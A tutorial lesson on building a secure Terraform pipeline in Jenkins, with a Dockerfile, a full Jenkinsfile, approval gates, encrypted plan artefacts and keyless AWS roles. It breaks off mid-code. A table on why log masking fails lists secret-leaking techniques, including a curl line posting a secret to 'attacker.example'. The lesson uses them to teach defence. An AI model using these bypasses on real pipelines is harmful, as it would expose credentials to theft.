08-01 designed the machine: two jobs, different permissions, the plan artefact travelling between them, the single parameter from which everything derives, the gates and scheduled drift detection. This lesson builds that machine in Jenkins.
Jenkins deserves a lesson of its own for a reason that is not nostalgia: it is the CI system that leaves the most in your hands and therefore the one you can get most wrong. In GitHub Actions the runner is ephemeral and isolated by default; in Jenkins the agent may be a machine that has been switched on for two years with somebody else's workspace sitting next to yours. In GitHub Actions approval consumes no resources; in Jenkins a badly designed input blocks an executor for hours. And Jenkins is also the system you find most often in large organisations with infrastructure already in place, where the question is not "which CI do I choose?" but "how do I do this properly in the one I already have?".
We are not going to explain again why the apply uses a saved plan file, nor why the plan role is read-only, nor how the plan is published in three layers. All of that belongs to 08-01 and here it is applied. What does get explained is what Jenkins does differently, what it does badly, and what has to be compensated for.
Security warning. A Jenkins controller with permissions over your cloud is a high-value target: it holds credentials for all of your projects, runs code from all of your repositories and usually has an accessible web interface. Section 12 of this lesson is not optional.
- Jenkins architecture and why it matters for Terraform
Jenkins has two pieces, and the relationship between them determines almost everything you can and cannot safely do.
| Piece | What it is | What it runs | Associated risk |
|---|---|---|---|
| Controller | The orchestrating process: web interface, scheduling, credentials, history | The Jenkinsfile outside node blocks, and the plugins |
If it is compromised, every project is compromised |
| Agent | A process that runs the actual work | The sh, bat, terraform ... steps |
It sees the credentials of the job it runs |
The golden rule of modern Jenkins: nothing runs on the controller. A controller that runs builds is a controller a malicious Jenkinsfile can read in full, including the credentials of every other project. You configure it by setting the controller's executor count to 0.
The three agent models, applied to Terraform
flowchart TD
C["Controller<br/><i>0 executors</i>"] --> A1
C --> A2
C --> A3
subgraph A1["Permanent agent (VM)"]
P1["Persistent workspace<br/>Fast provider cache<br/><b>Leftovers between builds</b>"]
end
subgraph A2["Ephemeral container agent"]
P2["Pinned image with Terraform<br/>Clean every time<br/>Cache on a volume"]
end
subgraph A3["Kubernetes agent (pod)"]
P3["One pod per build<br/>IRSA via ServiceAccount<br/>Strong isolation"]
end
style A1 fill:#fee2e2,stroke:#b91c1c
style A3 fill:#dcfce7,stroke:#15803d
| Model | Reproducibility | Isolation | Speed | Keyless credentials |
|---|---|---|---|---|
| Permanent VM | Low: whatever somebody installed | Poor: neighbouring workspaces, shared cache | High: everything cached | EC2 instance role |
| Ephemeral container | High: the image is the contract | Good | Medium: init on every build |
The host's instance role |
| Kubernetes pod | High | High: one pod per build | Medium | IRSA via ServiceAccount |
The columns that decide it for Terraform are the third and the fifth. A shared permanent agent has two concrete, serious problems:
Leftovers from the previous build. If the workspace is not cleaned, a .terraform/ directory from the previous environment can survive. And there is the bad scenario: the directory retains the prod backend configuration, the next build is for dev, and if -reconfigure is missing, Terraform plans against the wrong state or asks to migrate.
De facto shared credentials. If two different builds run at the same time on the same agent, a process from one can read the other's environment (/proc/<pid>/environ on Linux if the user matches). On an agent that only does one team's Terraform this is tolerable; on an agent shared by twenty teams it is a leak.
The recommendation for EcoMarket: ephemeral agents, preferably on Kubernetes, with a terraform label that identifies the right image. The cost is a full init per build, mitigated with a provider-cache volume.
- The agent: the Terraform CLI with the right version
08-01 §14 set the principle: the Terraform version is pinned in the repository, never latest. Jenkins has three ways of honouring that.
| Method | How | Advantage | Drawback |
|---|---|---|---|
| Container image | agent { docker { image 'ecomarket/tf-runner:1.9.8' } } |
Fully reproducible; includes tflint, Trivy, Conftest, jq | You have to build and maintain the image |
tfenv on the agent |
tfenv install && tfenv use, reading .terraform-version |
The repository decides; no image of your own | A download on every build; tfenv is one more binary to maintain |
| Declared tool | tools { terraform 'tf-1.9.8' } with the plugin |
Integrated into Jenkins | Jenkins defines the version, not the repository: they drift apart |
EcoMarket uses the container image, and the reason is the third column: the pipeline needs terraform, tflint, trivy, conftest, jq and age, all with pinned versions. Installing them on every build takes minutes; having them in the image takes seconds.
# ci/image/Dockerfile — EcoMarket's Terraform agent image.
# It is built in its own pipeline and published with the Terraform
# version in the tag: ecomarket/tf-runner:1.9.8-3
FROM alpine:3.20
ARG TERRAFORM_VERSION=1.9.8
ARG TFLINT_VERSION=0.53.0
ARG CONFTEST_VERSION=0.56.0
RUN apk add --no-cache bash git curl jq unzip ca-certificates age
# Terraform: the EXACT version, plus checksum verification.
# Downloading without verifying is a supply-chain hole (07-04).
RUN curl -fsSLO "https://releases.hashicorp.com/terraform/${TERRAFORM_VERSION}/terraform_${TERRAFORM_VERSION}_linux_amd64.zip" \
&& curl -fsSLO "https://releases.hashicorp.com/terraform/${TERRAFORM_VERSION}/terraform_${TERRAFORM_VERSION}_SHA256SUMS" \
&& grep "linux_amd64.zip" terraform_${TERRAFORM_VERSION}_SHA256SUMS | sha256sum -c - \
&& unzip -q "terraform_${TERRAFORM_VERSION}_linux_amd64.zip" -d /usr/local/bin \
&& rm -f terraform_*.zip terraform_*SHA256SUMS
RUN curl -fsSL https://raw.githubusercontent.com/terraform-linters/tflint/v${TFLINT_VERSION}/install_linux.sh | bash
RUN curl -fsSL "https://github.com/open-policy-agent/conftest/releases/download/v${CONFTEST_VERSION}/conftest_${CONFTEST_VERSION}_Linux_x86_64.tar.gz" \
| tar -xz -C /usr/local/bin conftest
# The user is NOT root: if the pipeline is compromised, at least
# it does not have root inside the container.
RUN adduser -D -u 10001 jenkins
USER jenkins
# The automation flags from 08-01 §2, once and for all.
ENV TF_IN_AUTOMATION=1 \
TF_INPUT=false \
TF_PLUGIN_CACHE_DIR=/home/jenkins/.terraform.d/plugin-cacheAnd the check the pipeline performs in its first stage, because an image out of sync with the repository is a time bomb:
# The image's version must match the one the repository requires.
EXPECTED=$(cat .terraform-version)
CURRENT=$(terraform version -json | jq -r .terraform_version)
if [ "${EXPECTED}" != "${CURRENT}" ]; then
echo "The agent has Terraform ${CURRENT} and the repository requires ${EXPECTED}."
echo "Update the image tag in the Jenkinsfile, or the .terraform-version."
echo "Applying with a different version can upgrade the state FORMAT."
exit 1
fiThe last echo explains why this is not pedantry: Terraform upgrades the state file format when you apply with a newer version, and that upgrade has no way back. An accidental build with 1.10 against a team using 1.9 leaves everybody unable to plan.
- EcoMarket's complete declarative
Jenkinsfile
JenkinsfileHere is the whole pipeline. It is long because it is real; from section 4 onwards it is taken apart piece by piece.
// Jenkinsfile — pipeline for EcoMarket's root configurations (infra/<component>).
// It implements the two-job flow from 08-01, with the variant of a single
// pipeline and one approval stage (see §5 for the trade-off).
pipeline {
// Ephemeral agent: one pod per build, with the image from §2.
agent {
kubernetes {
yaml '''
apiVersion: v1
kind: Pod
spec:
# The ServiceAccount carries the IRSA annotation (§8):
# the pod obtains AWS credentials with NO key at all.
serviceAccountName: jenkins-terraform
containers:
- name: terraform
image: ecomarket/tf-runner:1.9.8-3
command: ["sleep"]
args: ["infinity"]
resources:
requests: { cpu: "500m", memory: "1Gi" }
limits: { cpu: "2", memory: "2Gi" }
volumeMounts:
- name: provider-cache
mountPath: /home/jenkins/.terraform.d/plugin-cache
volumes:
- name: provider-cache
persistentVolumeClaim:
claimName: tf-plugin-cache
'''
defaultContainer 'terraform'
}
}
parameters {
choice(name: 'ENVIRONMENT', choices: ['dev', 'staging', 'prod'],
description: 'Target environment. Backend, tfvars, role and lock all derive from it.')
choice(name: 'COMPONENT', choices: ['network', 'data', 'app'],
description: 'Root configuration to act on.')
choice(name: 'ACTION', choices: ['plan', 'plan-and-apply', 'drift'],
description: 'plan: proposal only. plan-and-apply: with approval. drift: detection.')
booleanParam(name: 'DESTROY_APPROVED', defaultValue: false,
description: 'Tick ONLY if destroying resources is intentional and has been reviewed.')
}
options {
// Without this, a pipeline stuck on the input lives forever.
timeout(time: 2, unit: 'HOURS')
// The history is audit evidence: it is kept, but bounded.
buildDiscarder(logRotator(numToKeepStr: '100', artifactNumToKeepStr: '20'))
// Timestamps in the log: essential for correlating with
// CloudTrail when something goes wrong (07-04 §16).
timestamps()
// Jenkins checks out automatically on every agent; we control it.
skipDefaultCheckout(true)
// An apply is NOT aborted half-way by a new build.
disableConcurrentBuilds(abortPrevious: false)
}
environment {
// --- The single parameter from 08-01 §9: everything DERIVES from ENVIRONMENT ---
BACKEND_HCL = "backends/${params.ENVIRONMENT}.hcl"
VARS_COMMON = "environments/common.auto.tfvars"
VARS_ENVIRONMENT = "environments/${params.ENVIRONMENT}.tfvars"
ROOT_DIR = "infra/${params.COMPONENT}"
PLAN_FILE = "${params.ENVIRONMENT}-${params.COMPONENT}.tfplan"
// The PLAN role is read-only (08-01 §4). The apply role is assumed
// later, in its own stage, as a different role altogether.
PLAN_ROLE = "arn:aws:iam::${accountOf(params.ENVIRONMENT)}:role/ecomarket-terraform-plan-${params.ENVIRONMENT}"
APPLY_ROLE = "arn:aws:iam::${accountOf(params.ENVIRONMENT)}:role/ecomarket-terraform-${params.ENVIRONMENT}"
// Traceability: this session name appears in CloudTrail and lets you
// go from an API call to the build that caused it (07-04).
AWS_ROLE_SESSION_NAME = "jenkins-${params.ENVIRONMENT}-${env.BUILD_NUMBER}"
AWS_REGION = 'eu-west-1'
TF_IN_AUTOMATION = '1'
TF_INPUT = 'false'
}
stages {
stage('Prepare') {
steps {
checkout scm
sh '''
set -eu
EXPECTED=$(cat .terraform-version)
CURRENT=$(terraform version -json | jq -r .terraform_version)
[ "$EXPECTED" = "$CURRENT" ] || {
echo "Agent has Terraform $CURRENT, repository requires $EXPECTED."
exit 1
}
echo "Terraform $CURRENT · environment ${ENVIRONMENT} · component ${COMPONENT}"
'''
}
}
stage('Code quality') {
// All of this is about FILES: it needs neither credentials
// nor a backend, and it is the cheapest. It goes first (08-01 §3).
steps {
sh 'terraform fmt -check -recursive -no-color'
sh "terraform -chdir=${ROOT_DIR} init -backend=false -lockfile=readonly -no-color"
sh "terraform -chdir=${ROOT_DIR} validate -no-color"
sh "tflint --chdir=${ROOT_DIR} --recursive --format=compact"
sh 'trivy config --exit-code 1 --severity HIGH,CRITICAL .'
}
}
stage('Unit tests') {
// terraform test with mock_provider (07-03): no cloud, no credentials.
steps {
sh "terraform -chdir=${ROOT_DIR} test -filter=tests/unit -no-color"
}
}
stage('Plan') {
options {
// Serialises by STATE, not by repository (08-01 §11).
lock(resource: "tfstate-${params.ENVIRONMENT}-${params.COMPONENT}",
inversePrecedence: true)
}
steps {
// The PLAN role: read-only. §8 explains where these
// credentials come from without any static key existing.
withAWS(role: env.PLAN_ROLE, roleSessionName: env.AWS_ROLE_SESSION_NAME,
duration: 3600, region: env.AWS_REGION) {
sh """
set -eu
terraform -chdir=${ROOT_DIR} init -reconfigure \
-lockfile=readonly -no-color \
-backend-config=\$(pwd)/${BACKEND_HCL}
terraform -chdir=${ROOT_DIR} plan -no-color \
-lock-timeout=5m \
-var-file=\$(pwd)/${VARS_COMMON} \
-var-file=\$(pwd)/${VARS_ENVIRONMENT} \
-out=${PLAN_FILE}
date +%s > ${ROOT_DIR}/${PLAN_FILE}.created
"""
}
}
}
stage('Policies and guards') {
steps {
sh """
set -eu
cd ${ROOT_DIR}
# The JSON does NOT leave the agent: it contains secrets in the clear.
terraform show -json ${PLAN_FILE} > plan.json
conftest test --policy \$(git rev-parse --show-toplevel)/ci/policies/ \
--parser json plan.json
"""
script {
// The destruction guard (08-01 §8), with the pipeline
// parameter as the only way to bypass it.
def destroyed = sh(
returnStdout: true,
script: """jq '[.resource_changes[] | select(.change.actions | index("delete"))] | length' ${ROOT_DIR}/plan.json"""
).trim().toInteger()
if (destroyed > 0 && !params.DESTROY_APPROVED) {
sh """jq -r '.resource_changes[] | select(.change.actions | index("delete")) | " \\(.address)"' ${ROOT_DIR}/plan.json"""
error("The plan destroys ${destroyed} resources and DESTROY_APPROVED is unticked.")
}
// Kept for the summary and for the approval stage.
env.DESTROYED_RESOURCES = destroyed.toString()
}
}
}
stage('Publish the plan') {
steps {
sh """
set -eu
cd ${ROOT_DIR}
# WITHOUT -json: it respects sensitive. This one CAN be published.
terraform show -no-color ${PLAN_FILE} > plan.txt
"""
script {
def summary = generateSummary("${ROOT_DIR}")
// Summary visible on the build page.
currentBuild.description = summary.headline
// And on the PR, if this build comes from one (§12).
if (env.CHANGE_ID) {
pullRequest.comment(summary.markdown)
}
}
// The browsable report, for whoever wants the detail.
publishHTML(target: [
reportDir: "${ROOT_DIR}", reportFiles: 'plan.html',
reportName: "Plan ${params.ENVIRONMENT}/${params.COMPONENT}",
keepAll: true, alwaysLinkToLastBuild: true,
allowMissing: false
])
// The encrypted artefact (§6). The plaintext .tfplan is NOT archived.
sh "age --encrypt --recipient-file ci/plan-key.pub -o ${ROOT_DIR}/${PLAN_FILE}.age ${ROOT_DIR}/${PLAN_FILE}"
stash name: 'plan', includes: "${ROOT_DIR}/${PLAN_FILE}, ${ROOT_DIR}/${PLAN_FILE}.created"
archiveArtifacts artifacts: "${ROOT_DIR}/${PLAN_FILE}.age, ${ROOT_DIR}/plan.txt",
fingerprint: true
}
}
stage('Approval') {
when {
allOf {
expression { params.ACTION == 'plan-and-apply' }
expression { params.ENVIRONMENT in ['staging', 'prod'] }
}
}
// The agent is RELEASED during the wait: without this, a Kubernetes
// pod stays occupied for hours (§5).
agent none
options { timeout(time: 60, unit: 'MINUTES') }
steps {
script {
def approvers = params.ENVIRONMENT == 'prod'
? 'platform-team,security-team'
: 'platform-team'
def response = input(
message: """Apply to ${params.ENVIRONMENT}/${params.COMPONENT}?
Destructions: ${env.DESTROYED_RESOURCES}
Full plan: ${env.BUILD_URL}Plan_20${params.ENVIRONMENT}_20${params.COMPONENT}/""",
ok: 'Apply',
submitter: approvers,
// The approver's name is kept in the variable and
// from there in the session_name: real traceability.
submitterParameter: 'APPROVER',
parameters: [
string(name: 'JUSTIFICATION', defaultValue: '',
description: 'Ticket or PR reference')
]
)
env.APPROVER = response['APPROVER']
env.JUSTIFICATION = response['JUSTIFICATION']
echo "Approved by ${env.APPROVER}: ${env.JUSTIFICATION}"
}
}
}
stage('Apply') {
when { expression { params.ACTION == 'plan-and-apply' } }
options {
// The SAME resource as the plan: the apply waits its turn.
lock(resource: "tfstate-${params.ENVIRONMENT}-${params.COMPONENT}")
}
steps {
unstash 'plan'
sh "ci/check-plan-freshness.sh ${ROOT_DIR}/${PLAN_FILE}"
script {
if (params.ENVIRONMENT == 'prod') {
sh 'ci/deployment-window.sh'
}
}
// The APPLY role: write. Different from the plan one.
withAWS(role: env.APPLY_ROLE,
roleSessionName: "jenkins-apply-${params.ENVIRONMENT}-${env.BUILD_NUMBER}",
duration: 3600, region: env.AWS_REGION) {
sh """
set -eu
terraform -chdir=${ROOT_DIR} init -reconfigure \
-lockfile=readonly -no-color \
-backend-config=\$(pwd)/${BACKEND_HCL}
# THE exact file. No -auto-approve, no -var-file.
terraform -chdir=${ROOT_DIR} apply -no-color \
-lock-timeout=10m ${PLAN_FILE}
terraform -chdir=${ROOT_DIR} output -json > outputs.json
"""
}
archiveArtifacts artifacts: "${ROOT_DIR}/outputs.json", allowEmptyArchive: true
}
}
stage('Drift') {
when { expression { params.ACTION == 'drift' } }
steps {
withAWS(role: env.PLAN_ROLE, roleSessionName: env.AWS_ROLE_SESSION_NAME,
region: env.AWS_REGION) {
script {
// -detailed-exitcode: 0 no changes, 1 error, 2 drift.
def code = sh(returnStatus: true,
script: "ci/detect-drift.sh ${params.ENVIRONMENT} ${params.COMPONENT}")
if (code == 2) {
unstable("Drift detected in ${params.ENVIRONMENT}/${params.COMPONENT}")
createDriftIssue(params.ENVIRONMENT, params.COMPONENT)
} else if (code != 0) {
error("The drift plan failed (code ${code}).")
}
}
}
}
}
}
post {
always {
// The PLAINTEXT .tfplan and the JSON do not survive the build.
sh """
rm -f ${ROOT_DIR}/${PLAN_FILE} ${ROOT_DIR}/plan.json || true
find . -name '*.tfplan' -delete || true
"""
// Lockable Resources locks release themselves when the lock()
// block ends; this one is for the STATE lock.
script { warnIfOrphanLock(params.ENVIRONMENT, params.COMPONENT) }
cleanWs(deleteDirs: true, notFailBuild: true)
}
failure {
slackSend(channel: '#ecomarket-platform', color: 'danger',
message: "FAILURE ${env.JOB_NAME} #${env.BUILD_NUMBER} · ${params.ENVIRONMENT}/${params.COMPONENT} · ${env.BUILD_URL}")
}
unstable {
slackSend(channel: '#ecomarket-platform', color: 'warning',
message: "DRIFT ${params.ENVIRONMENT}/${params.COMPONENT} · ${env.BUILD_URL}")
}
aborted {
// Cancelling an apply leaves the STATE lock orphaned (08-01 §11).
slackSend(channel: '#ecomarket-platform', color: 'warning',
message: "ABORTED ${env.JOB_NAME} #${env.BUILD_NUMBER}. If it was applying, CHECK the state lock before re-running.")
}
}
}
parameters and environment: the single parameter in Jenkins
parameters and environment: the single parameter in JenkinsThe parameters block is the literal implementation of the principle from 08-01 §9: the environment is chosen once and everything else derives from it.
parameters {
choice(name: 'ENVIRONMENT', choices: ['dev', 'staging', 'prod'], ...)
}
environment {
BACKEND_HCL = "backends/${params.ENVIRONMENT}.hcl"
VARS_ENVIRONMENT = "environments/${params.ENVIRONMENT}.tfvars"
PLAN_ROLE = "arn:aws:iam::${accountOf(params.ENVIRONMENT)}:role/ecomarket-terraform-plan-${params.ENVIRONMENT}"
}Three Jenkins details worth knowing because they are so often got wrong:
choice and not string. A string lets somebody type prd and have the pipeline try to read backends/prd.hcl. The failure would be clear (the file does not exist), but a choice makes it impossible from the outset. The first value in the list is the default, and that is why dev goes first: if somebody launches the pipeline without thinking, the worst that can happen is that it touches dev.
The environment block is evaluated at start-up, not in each stage. If you try to use a variable there that is computed in a stage, you will get null. For computed values you use env.WHATEVER = ... inside a script, the way the policies stage does with DESTROYED_RESOURCES.
accountOf() comes from the shared library (§13). It is a function mapping dev → 123456789012, staging → ...13, prod → ...14. Putting it in the library rather than in the Jenkinsfile has a security motive: the account map lives outside the repository anybody can modify with a PR.
The case of the first run
A Jenkins quirk that always catches people out: a new pipeline does not know its parameters until it has run once. The first build uses the Jenkinsfile's default values and only afterwards does the form appear. With dev as the first value of ENVIRONMENT and plan as the first value of ACTION, that accidental first build is harmless: it plans dev. If the order were ['prod', 'staging', 'dev'] and ['plan-and-apply', ...], the first build would apply to production without anybody asking for it.
- Approval with
input and the blocked-executor problem
input and the blocked-executor problemThis is the classic Terraform-in-Jenkins problem, and the reason the Jenkinsfile in §3 departs from the two-job design of 08-01.
The problem
// WRONG: the input INSIDE a stage that has an agent.
stage('Approval') {
steps {
input message: 'Apply to production?' // ← can wait for hours
}
}The stage has the pipeline's agent assigned to it. While the input waits, that agent stays occupied. With Kubernetes agents, it is a pod with 2 CPUs reserved, asleep. With a limited agent fleet, it is other teams' builds queuing. And if the wait is long, the pod may be evicted by the Kubernetes scheduler and the pipeline dies without having applied anything.
The solution: agent none on the approval stage
stage('Approval') {
agent none // ← RELEASES the agent during the wait
options { timeout(time: 60, unit: 'MINUTES') }
steps {
script {
def response = input(
message: "Apply to ${params.ENVIRONMENT}?",
ok: 'Apply',
submitter: 'platform-team,security-team',
submitterParameter: 'APPROVER'
)
env.APPROVER = response['APPROVER']
}
}
}With agent none, the wait happens on the controller, which only holds a flow thread, not an executor. And this is exactly why the stash in §6 is necessary: releasing the agent makes the workspace disappear, and the Apply stage starts on a new, empty agent.
submitter and submitterParameter
| Parameter | What it does | Why it matters |
|---|---|---|
submitter |
The list of users or groups that can approve | Without it, anybody with Jenkins access approves production |
submitterParameter |
Records who approved, in a variable | It is the audit evidence: without it, the log says "approved" without saying by whom |
ok |
The button text | "Apply" is better than "Proceed": it says what is going to happen |
parameters |
Extra fields | The justification with the ticket |
submitter has an important catch: it does not stop whoever launched the build approving it themselves, if they belong to the group. To require four eyes you have to check it explicitly:
script {
def response = input(message: '...', submitter: 'platform-team',
submitterParameter: 'APPROVER')
def approver = response['APPROVER']
def launcher = currentBuild.getBuildCauses('hudson.model.Cause$UserIdCause')
.collect { it.userId }.find { it } ?: 'unknown'
// Genuine four eyes: whoever asks is not whoever approves.
if (params.ENVIRONMENT == 'prod' && approver == launcher) {
error("""Self-approval blocked: ${approver} launched this build
and has tried to approve it. Production needs two people.""")
}
env.APPROVER = approver
}The trade-off: one pipeline with a wait versus two pipelines
The Jenkinsfile in §3 uses a single pipeline with an approval stage. The design in 08-01 proposed two jobs. Both are defensible in Jenkins and it is worth reading the table before choosing.
| Aspect | One pipeline with input |
Two pipelines (plan → apply) |
|---|---|---|
| Resources during the wait | Just a flow thread (with agent none) |
None: the first one finished |
| Plan freshness | Controlled by the input's timeout |
It has to be checked explicitly |
| Artefact continuity | stash, which lives with the build |
archiveArtifacts + copyArtifacts between builds |
| If Jenkins restarts | The pipeline may survive (Durable Task), but sometimes not | The artefact is archived: you re-run the second one |
| Traceability | A single build with the whole history | Two builds to correlate |
| Permissions | A single job; the roles are separated per stage | Jobs with different permissions in Jenkins |
| Approval | input with submitter |
"Build" permission on the second job |
| Ease | Simpler to write and to follow | More moving parts |
EcoMarket's recommendation: one pipeline for dev and staging, two for prod. The reason is the second-to-last row: in a single pipeline, the separation between the plan role and the apply role depends on nobody editing the Jenkinsfile, which lives in the repository. With two separate jobs, the production apply job is a different Jenkins object, with its own access control list, which only the platform team can launch, and whose Jenkinsfile lives in a protected repository.
That is the Jenkins version of the argument from 07-04: a control is something whoever makes the change cannot switch off. If the production pipeline is defined in the same repository as the infrastructure, whoever opens a PR can rewrite it.
stash, unstash and archiveArtifacts: the plan between stages
stash, unstash and archiveArtifacts: the plan between stagesJenkins has two mechanisms for moving files, with different purposes that get confused constantly.
stash / unstash |
archiveArtifacts |
|
|---|---|---|
| Scope | Within one build | Persists after the build |
| Where it is stored | The controller's temporary area | The artefact store |
| Lifetime | Deleted when the build ends | According to buildDiscarder |
| Who can see it | Only the pipeline | Anybody with read access to the job |
| Size | Designed for small things | Can be large |
For the .tfplan |
Yes: it travels between stages | Only encrypted |
EcoMarket's rule, which implements the warning from 08-01 §6:
// 1. The PLAINTEXT .tfplan travels between stages with stash: it never leaves the build.
stash name: 'plan', includes: "${ROOT_DIR}/${PLAN_FILE}, ${ROOT_DIR}/${PLAN_FILE}.created"
// 2. What gets ARCHIVED is the encrypted version, plus the output of show
// (which respects sensitive), never the plaintext .tfplan nor the JSON.
sh "age --encrypt --recipient-file ci/plan-key.pub -o ${ROOT_DIR}/${PLAN_FILE}.age ${ROOT_DIR}/${PLAN_FILE}"
archiveArtifacts artifacts: "${ROOT_DIR}/${PLAN_FILE}.age, ${ROOT_DIR}/plan.txt", fingerprint: true
// 3. And in the post block, the plaintext file is deleted from the workspace.
post { always { sh "find . -name '*.tfplan' -delete || true" } }Why stash is not enough on its own
stash lives with the build. If the pipeline dies during the approval wait — Jenkins restarts, the controller is upgraded, the pod is evicted — the stash goes with it. That is why EcoMarket also archives the encrypted version: it lets you re-run the apply job with the original plan if you need to, using copyArtifacts.
// In a SEPARATE apply job (the two-pipeline model).
copyArtifacts(
projectName: 'ecomarket-infra-plan',
selector: specific("${params.PLAN_BUILD}"),
filter: "**/*.tfplan.age, **/*.tfplan.created"
)
withCredentials([string(credentialsId: 'plan-private-key', variable: 'KEY')]) {
sh '''
set -eu
# The private key ONLY exists in the apply job:
# whoever can download the artefact cannot decrypt it.
echo "$KEY" > /tmp/key.txt
age --decrypt --identity /tmp/key.txt -o plan.tfplan *.tfplan.age
shred -u /tmp/key.txt
'''
}That asymmetry is what makes the encryption useful: the artefact is downloadable by lots of people, the private key is not.
Retention
options {
buildDiscarder(logRotator(
numToKeepStr: '100', // 100 builds of history: audit
artifactNumToKeepStr: '20', // but only 20 with artefacts
artifactDaysToKeepStr: '7' // and 7 days at most
))
}The three numbers serve different interests: the log is kept for a long time because it is evidence; the artefact is kept briefly because it is a risk. An encrypted .tfplan from six months ago still contains the password from six months ago, and the private key still exists.
- Credentials in Jenkins and why masking is not enough
Jenkins has a credential store of its own with several types. For Terraform, these are the relevant ones:
| Type | Use in Terraform | How it is consumed |
|---|---|---|
| Secret text | TF_VAR_db_password, API tokens |
string(credentialsId:, variable:) |
| Username with password | Private registries, databases | usernamePassword(...) |
| AWS Credentials (plugin) | AWS keys | withAWS(credentials:) — avoid (§8) |
| Secret file | GCP credential files, private keys | file(credentialsId:, variable:) |
| SSH private key | Modules from Git over SSH | sshagent(...) |
stage('Plan with a secret') {
steps {
withCredentials([
string(credentialsId: 'ecomarket-db-password-prod', variable: 'TF_VAR_db_password')
]) {
sh """
terraform -chdir=${ROOT_DIR} plan -no-color \
-var-file=\$(pwd)/${VARS_ENVIRONMENT} -out=${PLAN_FILE}
"""
}
}
}Why masking is not enough
Jenkins replaces with **** any string that matches a credential when it appears in the log. It is useful and it is not a security measure. These five things sidestep it:
| Bypass | Example | Why it works |
|---|---|---|
| Transformation | echo $SECRET | base64 |
The string in the log does not match the credential |
| Slicing | echo ${SECRET:0:8} |
A fragment does not match the whole |
| Character by character | echo $SECRET | fold -w1 |
No single line matches |
| Output to a file | echo $SECRET > output.txt + archiveArtifacts |
Masking only acts on the log |
| Network request | curl -d "$SECRET" https://attacker.example |
It never passes through the log |
And there is one that happens without any malice and is the most frequent of all:
# The script's "set -x", or sh's automatic tracing, prints the
# command BEFORE running it, with the variable ALREADY substituted.
set -x
terraform apply -var="db_password=${TF_VAR_db_password}"
# + terraform apply -var=db_password=RealPassword
# ↑ Jenkins masks it IF the string matches exactly.
# If the secret contains characters the shell transforms, it does not match.The four operational rules, which are the Jenkins version of the four secret rules from 07-04:
- The scope of
withCredentialsis the smallest possible. Wrap the command that needs it, not the whole pipeline. - Never
set -xinside awithCredentials. And Jenkins'sshturns it on by default: usesh(script: '...', label: '...')with an explicitset +xat the top. - Secrets are passed through
TF_VAR_*environment variables, not through-varon the command line. A-varshows up in the process list (ps aux), which any process on the agent can read. - Best of all is for the secret never to pass through Jenkins. With
data "aws_secretsmanager_secret_version"(07-04), Terraform reads it straight from the manager using the assumed role, and Jenkins never sees it. The credential in Jenkins becomes unnecessary.
Rule 4 is the one that really solves the problem. A credential that does not exist in Jenkins cannot leak from Jenkins.
- Keyless authentication from an agent
Here we settle the debt from 07-04 on the Jenkins side: how the agent obtains AWS credentials without any stored key existing.
Jenkins has three routes, and they are not equally good.
| Method | Where it works | What it identifies | Granularity |
|---|---|---|---|
| EC2 instance role | An agent on an AWS VM | The machine | Per agent: every job on that agent shares an identity |
| IRSA / Pod Identity | An agent in an EKS pod | The pod's ServiceAccount | Per pod template: you can give one per team |
| Jenkins OIDC | Any agent | The specific job | Per job, per branch and even per parameter |
Route 1: instance role (the simplest, the least granular)
The agent runs on EC2 with an instance profile. The AWS SDK picks it up from the metadata service on its own and Terraform works with no configuration.
# The agent's role has NO permissions over the infrastructure.
# It can only assume the Terraform roles. This indirection is what
# lets one agent serve dev, staging and prod without holding the
# permissions of all three at once.
resource "aws_iam_role_policy" "agent_can_assume" {
name = "assume-terraform-roles"
role = aws_iam_role.jenkins_agent.id
policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Effect = "Allow"
Action = "sts:AssumeRole"
Resource = [
"arn:aws:iam::123456789012:role/ecomarket-terraform-plan-dev",
"arn:aws:iam::123456789012:role/ecomarket-terraform-dev",
"arn:aws:iam::123456789013:role/ecomarket-terraform-plan-staging",
"arn:aws:iam::123456789013:role/ecomarket-terraform-staging",
"arn:aws:iam::123456789014:role/ecomarket-terraform-plan-prod",
# NOTE: the prod APPLY role is NOT here. See below.
]
}]
})
}The problem with this route, and it is serious: if the agent can assume the prod role, any build running on that agent can assume it, whatever it writes in the Jenkinsfile. A PR that adds withAWS(role: 'ecomarket-terraform-prod') to its own plan stage would have write access to production.
The two mitigations, which are used together:
- Dedicated agents with labels. The
prodrole can only be assumed by the instance role of the agents labelledterraform-prod, and only the protected production job uses that label. This requires that nobody can writeagent { label 'terraform-prod' }in just anyJenkinsfile, which in turn requires Jenkins to restrict which jobs can request which labels. - A condition in the trust relationship. The
prodrole requires anExternalIdor a session tag that only the protected job knows.
Route 2: IRSA on EKS (the recommended balance)
If the agents run as pods on EKS, each pod template can have its own ServiceAccount, and each ServiceAccount its own role. The identity stops being the machine and becomes the pod template.
# The ServiceAccount used by the Terraform pod template.
resource "aws_iam_role" "jenkins_terraform" {
name = "ecomarket-jenkins-terraform-agent"
assume_role_policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Effect = "Allow"
Principal = {
Federated = aws_iam_openid_connect_provider.eks.arn
}
Action = "sts:AssumeRoleWithWebIdentity"
Condition = {
StringEquals = {
# The "sub" identifies the NAMESPACE and the SERVICEACCOUNT.
# This is what stops a pod in another namespace assuming
# this role even if it knows its name.
"${local.oidc_eks}:sub" = "system:serviceaccount:jenkins:jenkins-terraform"
"${local.oidc_eks}:aud" = "sts.amazonaws.com"
}
}
}]
})
}# The ServiceAccount, with the annotation that activates IRSA.
apiVersion: v1
kind: ServiceAccount
metadata:
name: jenkins-terraform
namespace: jenkins
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/ecomarket-jenkins-terraform-agentAnd to separate prod properly: a different ServiceAccount and a different pod template, referenced only from the protected job.
# Template ONLY for the production apply job.
serviceAccountName: jenkins-terraform-prod # its role CAN assume the prod oneCombined with Jenkins's access control over which jobs can use which pod templates, this gives the real separation route 1 did not.
Route 3: Jenkins OIDC (maximum granularity)
The OIDC Provider plugin makes Jenkins itself an identity issuer: it exposes a discovery endpoint, signs tokens describing the job, the branch and the build, and AWS verifies them.
# 1. Register Jenkins as an OIDC provider in AWS.
resource "aws_iam_openid_connect_provider" "jenkins" {
url = "https://jenkins.ecomarket.example.com/oidc"
client_id_list = ["sts.amazonaws.com"]
thumbprint_list = [var.jenkins_certificate_fingerprint]
}
# 2. The production APPLY role, with the narrowest trust you can
# write. This is the piece 07-04 left pending.
resource "aws_iam_role" "terraform_prod" {
name = "ecomarket-terraform-prod"
max_session_duration = 3600
assume_role_policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Effect = "Allow"
